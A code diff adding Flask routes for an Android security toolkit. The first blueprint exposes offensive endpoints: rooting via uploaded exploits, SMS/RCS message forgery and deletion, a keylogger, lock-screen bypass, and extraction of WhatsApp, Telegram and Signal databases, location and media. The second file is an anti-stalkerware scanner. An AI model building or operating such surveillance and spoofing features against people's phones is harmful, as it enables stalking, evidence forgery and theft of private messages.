jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().flash_boot(serial, upload_path)) + + +@android_exploit_bp.route('/boot/disable-verity', methods=['POST']) +@login_required +def boot_disable_verity(): + # Supports both JSON and form upload + if request.content_type and 'multipart' in request.content_type: + serial = request.form.get('serial', '').strip() + f = request.files.get('file') + vbmeta = None + if f: + from core.paths import get_uploads_dir + vbmeta = str(get_uploads_dir() / f.filename) + f.save(vbmeta) + else: + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + vbmeta = None + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_get_mgr().disable_verity(serial, vbmeta)) + + +@android_exploit_bp.route('/boot/temp-boot', methods=['POST']) +@login_required +def boot_temp(): + serial = request.form.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().boot_temp(serial, upload_path)) + + +# ── Root Methods ────────────────────────────────────────────────── + +@android_exploit_bp.route('/root/check', methods=['POST']) +@login_required +def root_check(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().check_root(serial)) + + +@android_exploit_bp.route('/root/install-magisk', methods=['POST']) +@login_required +def root_install_magisk(): + serial = request.form.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().install_magisk(serial, upload_path)) + + +@android_exploit_bp.route('/root/pull-patched', methods=['POST']) +@login_required +def root_pull_patched(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().pull_patched_boot(serial)) + + +@android_exploit_bp.route('/root/exploit', methods=['POST']) +@login_required +def root_exploit(): + serial = request.form.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().root_via_exploit(serial, upload_path)) + + +# ── SMS Manipulation ───────────────────────────────────────────── + +@android_exploit_bp.route('/sms/list', methods=['POST']) +@login_required +def sms_list(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + limit = int(data.get('limit', 50)) + address = data.get('address', '').strip() or None + return jsonify(_get_mgr().sms_list(serial, limit=limit, address=address)) + + +@android_exploit_bp.route('/sms/insert', methods=['POST']) +@login_required +def sms_insert(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + address = data.get('address', '').strip() + body = data.get('body', '').strip() + if not address or not body: + return jsonify({'error': 'Missing address or body'}) + return jsonify(_get_mgr().sms_insert( + serial, address, body, + date_str=data.get('date') or None, + time_str=data.get('time') or None, + msg_type=data.get('type', 'inbox'), + read=data.get('read', True), + )) + + +@android_exploit_bp.route('/sms/bulk-insert', methods=['POST']) +@login_required +def sms_bulk_insert(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + messages = data.get('messages', []) + if not messages: + return jsonify({'error': 'No messages provided'}) + return jsonify(_get_mgr().sms_bulk_insert(serial, messages)) + + +@android_exploit_bp.route('/sms/update', methods=['POST']) +@login_required +def sms_update(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + sms_id = data.get('id', '').strip() + if not sms_id: + return jsonify({'error': 'No SMS id provided'}) + return jsonify(_get_mgr().sms_update( + serial, sms_id, + body=data.get('body'), + date_str=data.get('date'), + time_str=data.get('time'), + address=data.get('address'), + msg_type=data.get('type'), + read=data.get('read'), + )) + + +@android_exploit_bp.route('/sms/delete', methods=['POST']) +@login_required +def sms_delete(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + sms_id = data.get('id', '').strip() if data.get('id') else None + address = data.get('address', '').strip() if data.get('address') else None + delete_all_from = data.get('delete_all_from', False) + return jsonify(_get_mgr().sms_delete(serial, sms_id=sms_id, address=address, + delete_all_from=delete_all_from)) + + +@android_exploit_bp.route('/sms/delete-all', methods=['POST']) +@login_required +def sms_delete_all(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().sms_delete_all(serial)) + + +# ── RCS Spoofing ───────────────────────────────────────────────── + +@android_exploit_bp.route('/rcs/check', methods=['POST']) +@login_required +def rcs_check(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().rcs_check_support(serial)) + + +@android_exploit_bp.route('/rcs/list', methods=['POST']) +@login_required +def rcs_list(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + limit = int(data.get('limit', 50)) + return jsonify(_get_mgr().rcs_list(serial, limit=limit)) + + +@android_exploit_bp.route('/rcs/insert', methods=['POST']) +@login_required +def rcs_insert(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + address = data.get('address', '').strip() + body = data.get('body', '').strip() + if not address or not body: + return jsonify({'error': 'Missing address or body'}) + return jsonify(_get_mgr().rcs_insert( + serial, address, body, + date_str=data.get('date') or None, + time_str=data.get('time') or None, + sender_name=data.get('sender_name') or None, + is_outgoing=data.get('is_outgoing', False), + )) + + +@android_exploit_bp.route('/rcs/delete', methods=['POST']) +@login_required +def rcs_delete(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + msg_id = data.get('id', '') + if not msg_id: + return jsonify({'error': 'No message id provided'}) + return jsonify(_get_mgr().rcs_delete(serial, int(msg_id))) + + +# ── Screen & Input ─────────────────────────────────────────────── + +@android_exploit_bp.route('/screen/capture', methods=['POST']) +@login_required +def screen_capture(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().screen_capture(serial)) + + +@android_exploit_bp.route('/screen/record', methods=['POST']) +@login_required +def screen_record(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + duration = int(data.get('duration', 10)) + return jsonify(_get_mgr().screen_record(serial, duration=duration)) + + +@android_exploit_bp.route('/screen/tap', methods=['POST']) +@login_required +def screen_tap(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().input_tap(serial, data.get('x', 0), data.get('y', 0))) + + +@android_exploit_bp.route('/screen/swipe', methods=['POST']) +@login_required +def screen_swipe(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().input_swipe(serial, data.get('x1',0), data.get('y1',0), + data.get('x2',0), data.get('y2',0), + int(data.get('duration', 300)))) + + +@android_exploit_bp.route('/screen/text', methods=['POST']) +@login_required +def screen_text(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + text = data.get('text', '') + if not text: + return jsonify({'error': 'No text provided'}) + return jsonify(_get_mgr().input_text(serial, text)) + + +@android_exploit_bp.route('/screen/key', methods=['POST']) +@login_required +def screen_key(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().input_keyevent(serial, data.get('keycode', 3))) + + +@android_exploit_bp.route('/screen/keylogger-start', methods=['POST']) +@login_required +def keylogger_start(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().start_keylogger(serial)) + + +@android_exploit_bp.route('/screen/keylogger-stop', methods=['POST']) +@login_required +def keylogger_stop(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().stop_keylogger(serial)) + + +@android_exploit_bp.route('/screen/dismiss-lock', methods=['POST']) +@login_required +def dismiss_lock(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().dismiss_lockscreen(serial)) + + +@android_exploit_bp.route('/screen/disable-lock', methods=['POST']) +@login_required +def disable_lock(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().disable_lockscreen(serial)) + + +# ── Advanced: Data ─────────────────────────────────────────────── + +@android_exploit_bp.route('/adv/clipboard', methods=['POST']) +@login_required +def adv_clipboard(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_clipboard(serial)) + + +@android_exploit_bp.route('/adv/notifications', methods=['POST']) +@login_required +def adv_notifications(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().dump_notifications(serial)) + + +@android_exploit_bp.route('/adv/location', methods=['POST']) +@login_required +def adv_location(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_location(serial)) + + +@android_exploit_bp.route('/adv/media-list', methods=['POST']) +@login_required +def adv_media_list(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().extract_media_list(serial, media_type=data.get('type', 'photos'))) + + +@android_exploit_bp.route('/adv/media-pull', methods=['POST']) +@login_required +def adv_media_pull(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().pull_media_folder(serial, media_type=data.get('type', 'photos'), + limit=int(data.get('limit', 50)))) + + +@android_exploit_bp.route('/adv/whatsapp', methods=['POST']) +@login_required +def adv_whatsapp(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_whatsapp_db(serial)) + + +@android_exploit_bp.route('/adv/telegram', methods=['POST']) +@login_required +def adv_telegram(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_telegram_db(serial)) + + +@android_exploit_bp.route('/adv/signal', methods=['POST']) +@login_required +def adv_signal(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_signal_db(serial)) + + +@android_exploit_bp.route('/adv/fingerprint', methods=['POST']) +@login_required +def adv_fingerprint(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_device_fingerprint(serial)) + + +@android_exploit_bp.route('/adv/settings', methods=['POST']) +@login_required +def adv_settings(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().dump_all_settings(serial)) + + +# ── Advanced: Network ──────────────────────────────────────────── + +@android_exploit_bp.route('/adv/network-info', methods=['POST']) +@login_required +def adv_network_info(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_network_info(serial)) + + +@android_exploit_bp.route('/adv/proxy-set', methods=['POST']) +@login_required +def adv_proxy_set(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + host = data.get('host', '').strip() + port = data.get('port', '').strip() + if not host or not port: + return jsonify({'error': 'Missing host or port'}) + return jsonify(_get_mgr().set_proxy(serial, host, port)) + + +@android_exploit_bp.route('/adv/proxy-clear', methods=['POST']) +@login_required +def adv_proxy_clear(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().clear_proxy(serial)) + + +@android_exploit_bp.route('/adv/wifi-scan', methods=['POST']) +@login_required +def adv_wifi_scan(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().wifi_scan(serial)) + + +@android_exploit_bp.route('/adv/wifi-connect', methods=['POST']) +@login_required +def adv_wifi_connect(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().wifi_connect(serial, data.get('ssid',''), data.get('password',''))) + + +@android_exploit_bp.route('/adv/adb-wifi', methods=['POST']) +@login_required +def adv_adb_wifi(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().enable_adb_wifi(serial, int(data.get('port', 5555)))) + + +@android_exploit_bp.route('/adv/capture-traffic', methods=['POST']) +@login_required +def adv_capture(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().capture_traffic(serial, + interface=data.get('interface', 'any'), + duration=int(data.get('duration', 30)), + pcap_filter=data.get('filter', ''))) + + +# ── Advanced: System ───────────────────────────────────────────── + +@android_exploit_bp.route('/adv/selinux', methods=['POST']) +@login_required +def adv_selinux(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().set_selinux(serial, data.get('mode', 'permissive'))) + + +@android_exploit_bp.route('/adv/remount', methods=['POST']) +@login_required +def adv_remount(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().remount_system(serial)) + + +@android_exploit_bp.route('/adv/logcat-sensitive', methods=['POST']) +@login_required +def adv_logcat(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + return jsonify(_get_mgr().logcat_sensitive(serial, int(data.get('duration', 10)))) + + +@android_exploit_bp.route('/adv/processes', methods=['POST']) +@login_required +def adv_processes(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_running_processes(serial)) + + +@android_exploit_bp.route('/adv/ports', methods=['POST']) +@login_required +def adv_ports(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_open_ports(serial)) + + +@android_exploit_bp.route('/adv/modify-setting', methods=['POST']) +@login_required +def adv_modify_setting(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + ns = data.get('namespace', '').strip() + key = data.get('key', '').strip() + value = data.get('value', '').strip() + if not ns or not key: + return jsonify({'error': 'Missing namespace or key'}) + return jsonify(_get_mgr().modify_setting(serial, ns, key, value)) + + +@android_exploit_bp.route('/adv/app-disable', methods=['POST']) +@login_required +def adv_app_disable(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().disable_app(serial, package)) + + +@android_exploit_bp.route('/adv/app-enable', methods=['POST']) +@login_required +def adv_app_enable(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().enable_app(serial, package)) + + +@android_exploit_bp.route('/adv/app-clear', methods=['POST']) +@login_required +def adv_app_clear(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().clear_app_data(serial, package)) + + +@android_exploit_bp.route('/adv/app-launch', methods=['POST']) +@login_required +def adv_app_launch(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().launch_app(serial, package)) + + +@android_exploit_bp.route('/adv/content-query', methods=['POST']) +@login_required +def adv_content_query(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + uri = data.get('uri', '').strip() + if not uri: + return jsonify({'error': 'No URI provided'}) + return jsonify(_get_mgr().content_query(serial, uri, + projection=data.get('projection', ''), where=data.get('where', ''))) + + +# ── WebUSB Direct Mode: Command Relay ──────────────────────────────── + + +@android_exploit_bp.route('/cmd', methods=['POST']) +@login_required +def get_direct_commands(): + """Return ADB shell command(s) for an operation without executing them. + Used by WebUSB Direct mode: browser executes via HWDirect.adbShell(). + Returns one of: + {commands: ['cmd1', 'cmd2', ...]} — shell operations + {pullPath: '/device/path'} — file pull operations + {error: 'message'} — unsupported operation + """ + data = request.get_json(silent=True) or {} + op = data.get('op', '') + params = data.get('params', {}) + result = _get_mgr().get_commands_for_op(op, params) + return jsonify(result) + + +@android_exploit_bp.route('/parse', methods=['POST']) +@login_required +def parse_direct_output(): + """Parse raw ADB shell output from WebUSB Direct mode execution. + Takes the raw text output and returns the same structured JSON + that the normal server-mode endpoint would return. + """ + data = request.get_json(silent=True) or {} + op = data.get('op', '') + params = data.get('params', {}) + raw = data.get('raw', '') + result = _get_mgr().parse_op_output(op, params, raw) + return jsonify(result) diff --git a/web/routes/android_protect.py b/web/routes/android_protect.py new file mode 100644 index 0000000..12798b9 --- /dev/null +++ b/web/routes/android_protect.py @@ -0,0 +1,837 @@ +"""Android Protection Shield routes — anti-stalkerware/spyware scanning and remediation.""" + +import os +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +android_protect_bp = Blueprint('android_protect', __name__, url_prefix='/android-protect') + + +def _mgr(): + from core.android_protect import get_android_protect_manager + return get_android_protect_manager() + + +def _serial(): + """Extract serial from JSON body, form data, or query params.""" + data = request.get_json(silent=True) or {} + serial = data.get('serial') or request.form.get('serial') or request.args.get('serial', '') + return str(serial).strip() if serial else '' + + +# ── Main Page ─────────────────────────────────────────────────────── + +@android_protect_bp.route('/') +@login_required +def index(): + from core.hardware import get_hardware_manager + hw = get_hardware_manager() + status = hw.get_status() + sig_stats = _mgr().get_signature_stats() + return render_template('android_protect.html', status=status, sig_stats=sig_stats) + + +# ── Scan Routes ───────────────────────────────────────────────────── + +@android_protect_bp.route('/scan/quick', methods=['POST']) +@login_required +def scan_quick(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().quick_scan(serial)) + + +@android_protect_bp.route('/scan/full', methods=['POST']) +@login_required +def scan_full(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().full_protection_scan(serial)) + + +@android_protect_bp.route('/scan/export', methods=['POST']) +@login_required +def scan_export(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + scan = _mgr().full_protection_scan(serial) + return jsonify(_mgr().export_scan_report(serial, scan)) + + +@android_protect_bp.route('/scan/stalkerware', methods=['POST']) +@login_required +def scan_stalkerware(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_stalkerware(serial)) + + +@android_protect_bp.route('/scan/hidden', methods=['POST']) +@login_required +def scan_hidden(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_hidden_apps(serial)) + + +@android_protect_bp.route('/scan/admins', methods=['POST']) +@login_required +def scan_admins(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_device_admins(serial)) + + +@android_protect_bp.route('/scan/accessibility', methods=['POST']) +@login_required +def scan_accessibility(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_accessibility_services(serial)) + + +@android_protect_bp.route('/scan/listeners', methods=['POST']) +@login_required +def scan_listeners(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_notification_listeners(serial)) + + +@android_protect_bp.route('/scan/spyware', methods=['POST']) +@login_required +def scan_spyware(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_spyware_indicators(serial)) + + +@android_protect_bp.route('/scan/integrity', methods=['POST']) +@login_required +def scan_integrity(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_system_integrity(serial)) + + +@android_protect_bp.route('/scan/processes', methods=['POST']) +@login_required +def scan_processes(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_suspicious_processes(serial)) + + +@android_protect_bp.route('/scan/certs', methods=['POST']) +@login_required +def scan_certs(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_certificates(serial)) + + +@android_protect_bp.route('/scan/network', methods=['POST']) +@login_required +def scan_network(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_network_config(serial)) + + +@android_protect_bp.route('/scan/devopt', methods=['POST']) +@login_required +def scan_devopt(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_developer_options(serial)) + + +# ── Permission Routes ─────────────────────────────────────────────── + +@android_protect_bp.route('/perms/dangerous', methods=['POST']) +@login_required +def perms_dangerous(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().find_dangerous_apps(serial)) + + +@android_protect_bp.route('/perms/analyze', methods=['POST']) +@login_required +def perms_analyze(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_mgr().analyze_app_permissions(serial, package)) + + +@android_protect_bp.route('/perms/heatmap', methods=['POST']) +@login_required +def perms_heatmap(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().permission_heatmap(serial)) + + +# ── Remediation Routes ────────────────────────────────────────────── + +@android_protect_bp.route('/fix/disable', methods=['POST']) +@login_required +def fix_disable(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().disable_threat(serial, package)) + + +@android_protect_bp.route('/fix/uninstall', methods=['POST']) +@login_required +def fix_uninstall(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().uninstall_threat(serial, package)) + + +@android_protect_bp.route('/fix/revoke', methods=['POST']) +@login_required +def fix_revoke(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().revoke_dangerous_perms(serial, package)) + + +@android_protect_bp.route('/fix/remove-admin', methods=['POST']) +@login_required +def fix_remove_admin(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().remove_device_admin(serial, package)) + + +@android_protect_bp.route('/fix/remove-cert', methods=['POST']) +@login_required +def fix_remove_cert(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + cert_hash = data.get('cert_hash', '').strip() + if not serial or not cert_hash: + return jsonify({'error': 'Serial and cert_hash required'}) + return jsonify(_mgr().remove_ca_cert(serial, cert_hash)) + + +@android_protect_bp.route('/fix/clear-proxy', methods=['POST']) +@login_required +def fix_clear_proxy(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().clear_proxy(serial)) + + +# ── Shizuku Routes ────────────────────────────────────────────────── + +@android_protect_bp.route('/shizuku/status', methods=['POST']) +@login_required +def shizuku_status(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().shizuku_status(serial)) + + +@android_protect_bp.route('/shizuku/install', methods=['POST']) +@login_required +def shizuku_install(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + # Handle file upload + if 'apk' in request.files: + from flask import current_app + f = request.files['apk'] + upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp') + path = os.path.join(upload_dir, 'shizuku.apk') + f.save(path) + return jsonify(_mgr().install_shizuku(serial, path)) + data = request.get_json(silent=True) or {} + apk_path = data.get('apk_path', '').strip() + if not apk_path: + return jsonify({'error': 'No APK provided'}) + return jsonify(_mgr().install_shizuku(serial, apk_path)) + + +@android_protect_bp.route('/shizuku/start', methods=['POST']) +@login_required +def shizuku_start(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().start_shizuku(serial)) + + +# ── Shield App Routes ────────────────────────────────────────────── + +@android_protect_bp.route('/shield/status', methods=['POST']) +@login_required +def shield_status(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().check_shield_app(serial)) + + +@android_protect_bp.route('/shield/install', methods=['POST']) +@login_required +def shield_install(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + if 'apk' in request.files: + from flask import current_app + f = request.files['apk'] + upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp') + path = os.path.join(upload_dir, 'shield.apk') + f.save(path) + return jsonify(_mgr().install_shield_app(serial, path)) + data = request.get_json(silent=True) or {} + apk_path = data.get('apk_path', '').strip() + if not apk_path: + return jsonify({'error': 'No APK provided'}) + return jsonify(_mgr().install_shield_app(serial, apk_path)) + + +@android_protect_bp.route('/shield/configure', methods=['POST']) +@login_required +def shield_configure(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + config = data.get('config', {}) + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().configure_shield(serial, config)) + + +@android_protect_bp.route('/shield/permissions', methods=['POST']) +@login_required +def shield_permissions(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().grant_shield_permissions(serial)) + + +# ── Database Routes ───────────────────────────────────────────────── + +@android_protect_bp.route('/db/stats', methods=['POST']) +@login_required +def db_stats(): + return jsonify(_mgr().get_signature_stats()) + + +@android_protect_bp.route('/db/update', methods=['POST']) +@login_required +def db_update(): + return jsonify(_mgr().update_signatures()) + + +# ── Honeypot Routes ──────────────────────────────────────────────── + +@android_protect_bp.route('/honeypot/status', methods=['POST']) +@login_required +def honeypot_status(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().honeypot_status(serial)) + + +@android_protect_bp.route('/honeypot/scan-trackers', methods=['POST']) +@login_required +def honeypot_scan_trackers(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_tracker_apps(serial)) + + +@android_protect_bp.route('/honeypot/scan-tracker-perms', methods=['POST']) +@login_required +def honeypot_scan_tracker_perms(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_tracker_permissions(serial)) + + +@android_protect_bp.route('/honeypot/ad-settings', methods=['POST']) +@login_required +def honeypot_ad_settings(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().get_tracking_settings(serial)) + + +@android_protect_bp.route('/honeypot/reset-ad-id', methods=['POST']) +@login_required +def honeypot_reset_ad_id(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().reset_advertising_id(serial)) + + +@android_protect_bp.route('/honeypot/opt-out', methods=['POST']) +@login_required +def honeypot_opt_out(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().opt_out_ad_tracking(serial)) + + +@android_protect_bp.route('/honeypot/set-dns', methods=['POST']) +@login_required +def honeypot_set_dns(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + provider = data.get('provider', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + if not provider: + return jsonify({'error': 'No provider specified'}) + return jsonify(_mgr().set_private_dns(serial, provider)) + + +@android_protect_bp.route('/honeypot/clear-dns', methods=['POST']) +@login_required +def honeypot_clear_dns(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().clear_private_dns(serial)) + + +@android_protect_bp.route('/honeypot/disable-location-scan', methods=['POST']) +@login_required +def honeypot_disable_location_scan(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().disable_location_accuracy(serial)) + + +@android_protect_bp.route('/honeypot/disable-diagnostics', methods=['POST']) +@login_required +def honeypot_disable_diagnostics(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().disable_usage_diagnostics(serial)) + + +@android_protect_bp.route('/honeypot/restrict-background', methods=['POST']) +@login_required +def honeypot_restrict_background(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().restrict_app_background(serial, package)) + + +@android_protect_bp.route('/honeypot/revoke-tracker-perms', methods=['POST']) +@login_required +def honeypot_revoke_tracker_perms(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().revoke_tracker_permissions(serial, package)) + + +@android_protect_bp.route('/honeypot/clear-tracker-data', methods=['POST']) +@login_required +def honeypot_clear_tracker_data(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + package = data.get('package', '').strip() + if not serial or not package: + return jsonify({'error': 'Serial and package required'}) + return jsonify(_mgr().clear_app_tracking_data(serial, package)) + + +@android_protect_bp.route('/honeypot/force-stop-trackers', methods=['POST']) +@login_required +def honeypot_force_stop_trackers(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().force_stop_trackers(serial)) + + +@android_protect_bp.route('/honeypot/deploy-hosts', methods=['POST']) +@login_required +def honeypot_deploy_hosts(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().deploy_hosts_blocklist(serial)) + + +@android_protect_bp.route('/honeypot/remove-hosts', methods=['POST']) +@login_required +def honeypot_remove_hosts(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().remove_hosts_blocklist(serial)) + + +@android_protect_bp.route('/honeypot/hosts-status', methods=['POST']) +@login_required +def honeypot_hosts_status(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().get_hosts_status(serial)) + + +@android_protect_bp.route('/honeypot/iptables-setup', methods=['POST']) +@login_required +def honeypot_iptables_setup(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + port = data.get('port', 9040) + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().setup_iptables_redirect(serial, port)) + + +@android_protect_bp.route('/honeypot/iptables-clear', methods=['POST']) +@login_required +def honeypot_iptables_clear(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().clear_iptables_redirect(serial)) + + 